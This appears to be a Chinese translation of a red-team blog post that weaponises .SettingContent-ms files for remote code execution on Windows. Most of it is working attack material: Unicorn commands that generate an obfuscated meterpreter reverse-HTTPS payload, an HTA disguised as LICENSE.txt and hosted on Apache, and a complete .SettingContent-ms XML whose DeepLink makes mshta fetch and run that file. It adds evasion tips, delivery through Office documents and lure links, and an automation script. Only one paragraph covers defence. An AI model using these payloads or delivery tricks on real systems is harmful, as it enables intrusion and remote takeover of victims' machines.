最近,Matt Nelson(@engima0x3)发表了一篇关于利用.SettingContent-ms文件进行代码执行的文章。这篇文章很精彩,因为作为攻击者,我们经常需要从不同的系统上找到多种执行任意代码的方式。本文基于Matt研究的基础,实现在远程系统上进行代码执行。
以下是Matt博文中的几个关键发现:
- 微软宣称可能不会修复该漏洞。
- 可以直接利用浏览器执行任意代码攻击。
- 可以嵌入到Office文档中,并且可以在没有宏的情况下直接执行任意代码。
- 在Microsoft Office目录中生成子进程,可以绕过使用白名单目录机制的Microsoft’s Attack Surface Reduction (ASR) 。
作为攻击者,上述这些将非常吸引我们,因为我们通常尝试寻找新的方法来攻破系统,而不是使用传统的方法(例如使用宏,HTA等)。Matt已经在研究绕过ASR并进行命令执行方面做了大量研究工作。
最近工作中,我们正在进行red team测试的的客户系统拥有一定的攻击检测能力,而Matt的博文对我们的实际模拟测试提供了及时的帮助。在过去,DDE Auto等其他传统攻击发现一旦被公开,攻击者就会迅速将这些攻击技术进行武器化( https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ )。我们曾经在24小时内就看到了使用DDE进行攻击的攻击向量。
我决定看一下Matt的研究,看看是否可以快速地将它武器化。Matt一直利用calc.exe(通常用于演示命令/代码执行)进行演示,而并没有将它武器化。首先,我决定先利用Unicorn( https://github.com/trustedsec/unicorn )看看是否可以执行经过混淆的攻击载荷(payload)。
先使用Unicorn快速生成了一个meterpreter shell,并复制粘贴到Matt的概念证明(POC)中进行测试,用powershell.exe替换cmd.exe:
git clone https://github.com/trustedsec/unicorn
cd unicorn
python unicorn.py windows/meterpreter/reverse_https 172.16.37.164 443
这将创建一个混淆的PowerShell有效载荷(payload),并将其导出到powershell_attacks.txt:
图1 – 混淆的PowerShell代码
在将生成的PowerShell字符串插入.SettingContent-ms文件并执行时,似乎<DeepLink></DeepLink>字段出错:
图2 – 由于长字符串导致出错
在对DeepLink字段进行一番研究后,我注意到DeepLink字段允许的最大字符长度(包括路径和所有内容)是517个字符。虽然这对于我们的有效载荷(payload)来说已经是一个很大的空间,但这意味着在这个攻击向量中使用更大的有效载荷(payload)就不行了。
有许多可以在517个字符内获得代码执行的方式。在接下来的示例中,我们将使用“mshta.exe”这种常见的二进制攻击方式进行攻击。MSHTA位于Microsoft支持的每个操作系统上,并且具有从命令行远程下载和执行HTA文件的能力。我们可以使用许多其他方式,例如nps_payload( https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/ ),certutil( https://twitter.com/subtee/status/889173356284530688?lang=en ),或其他方法。HTA很简单,您无需指定“hta”扩展名,因为大多数时候使用扩展名进行攻击会被阻断。
首先,我们先利用Unicorn创建支持HTA的payload,看看我们是否可以获得代码执行。
我们需要先生成恶意的HTA文件,切换到unicorn目录并输入以下命令:
python unicorn.py windows/meterpreter/reverse_https 172.16.37.164 443 hta
cp hta_attack/Launcher.hta /var/www/html/LICENSE.txt
service apache2 start
运行完Unicorn后,会生成适当的HTA文件。以下是运行Unicorn的截图:
图3 – 运行Unicorn生成payload
然后我们复制HTA文件并将其重命名为LICENSE.txt。在大多数情况下,如果事件应急人员正在排查恶意文件,有可能会忽略扩展名为.txt的文件。此外,如果这是一个真实模拟攻击,您可能希望使用HTTPS并使用合法且高信誉的域名来躲避蓝队(blue team)。
最后,我们启动Apache来托管恶意的HTA文件。
以下是Unicorn输出的恶意/混淆HTA的示例:
图4 – Unicorn的输出
接下来,我们创建一个包含指向我们恶意HTA(LICENSE.txt)URL的Test.SettingContent-ms文件:
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>%windir%system32mshta.exe http://172.16.37.164/LICENSE.txt</DeepLink>
<Icon>%windir%system32control.exe</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-4161</Description>
<Keywords>@shell32.dll,-4161</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>
保存并双击文件后,我们就可以获得一个shell!
图5 – Meterpreter成功进行Shell访问
攻击成功!显然,在这个例子中我们使用了Metasploit,但是这几乎可以用于任何你想用的payload。MSHTA只是远程下载并且能在517的字符大小限制内执行代码的一个示例。另外,您可以轻松地将这些内容嵌入到Office文档中并将其发送出去,一旦对方打开,您就可以攻破对方电脑。您还可以在网站上托管这些扩展类型,并诱使用户单击链接。如果你想变得狡猾,改变图标和其他东西可能会有所帮助。下面是一个简单的站点,其中包含下载和执行的链接(只是一个普通的链接):
图6 – 带链接的简单站点
注意,下载的是托管的SettingContent-ms文件。一旦打开,它将以类似的方式攻破系统。
对于防御者而言,最好且最简单的做法就是阻止系统从外部加载.SettingContent-ms类型的文件(阻止基于Web的攻击),或者在下载或执行任何文件时弹出告警。此外,可以将.SettingContent-ms的文件关联类型更改为记事本或其他不执行代码的软件。
如果你想要一个自动化攻击的工具,我已经写了一个auto_settingcontent-ms.py的快速工具,它会自动为你创建Metasploit有效载荷(payload),HTA文件和Test.SettingContent-ms文件。这假设您已经安装了Metasploit,Python和Apache。请注意,这只是一个例子,还有很多其他方法,这只是一个简单的POC。
要运行,首先从github克隆auto_settingcontent-ms,然后运行它:
git clone https://github.com/trustedsec/auto_SettingContent-ms
cd auto_SettingContent-ms
一旦下载完脚本,我们就可以运行它并生成我们的文件。
root@stronghold:/home/relik/Desktop/git/auto_settingcontent-ms# python auto_settingcontent-ms.py
这是一个简单的脚本,它将生成一个.SettingContent-ms文件,该文件可用于在系统上执行命令/代码。该文件可以嵌入到Office文档中,也可以托管在网站上并诱使受害者点击来获得代码执行。这只是一个结合Metasploit使用的POC。你可以使用任何你想使用的payload,在这个例子中我们使用windows/meterpreter/reverse_https。
root@stronghold:/home/relik/Desktop/git/auto_settingcontent-ms# python auto_settingcontent-ms.py
Credit to: Matt Nelson (@enigma0x3) from SpecterOps
Great read here: https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
Written by: David Kennedy (@HackingDave, @TrustedSec)
Version 0.1
Enter the reverse shell IP address: 192.168.5.5
Enter the port for the reverse shell: 443
Cloning into 'unicorn'...
remote: Counting objects: 340, done.
remote: Total 340 (delta 0), reused 0 (delta 0), pack-reused 340
Receiving objects: 100% (340/340), 163.94 KiB | 0 bytes/s, done.
Resolving deltas: 100% (215/215), done.
Checking connectivity... done.
[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...
[*] Exported Test.SettingContent-ms to this folder. Moved over LICENSE.txt (malicious HTA) and setup the SettingContent-ms to point to the Apache server hosting this under /var/www/html
[*] To launch the Metasploit listener, run msfconsole -r unicorn.rc
root@stronghold:/home/relik/Desktop/git/auto_settingcontent-ms#
从GitHub下载Auto_SettingContent-MS脚本
特别感谢Matt Nelson在SpecterOps上的出色工作以及通过特定扩展类型获得代码执行能力的示例。
参考文献:
来自Matt Nelson的原帖.SettingContent-ms:https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39